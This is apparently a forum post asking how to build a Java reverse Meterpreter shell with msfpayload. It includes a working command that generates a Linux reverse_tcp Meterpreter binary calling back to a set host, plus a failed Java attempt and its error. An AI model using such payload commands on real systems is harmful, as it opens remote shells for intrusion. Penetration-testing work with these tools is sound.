Hello, I want to create a java reverse meterpreter shell just like all can do using a linux meterpreter shell:

./msfpayload linux/x86/meterpreter/reverse_tcp LHOST=172.16.24.150 X > /tmp/meterlin.bin

If I do the same but with a java payload:

./msfpayload java/meterpreter/reverse_tcp LHOST=127.0.0.1 X > /home/default/Documentos/exploit
No executable format support for this arch/platform

Why???
How must i create a java meterpreter payload????

Thanks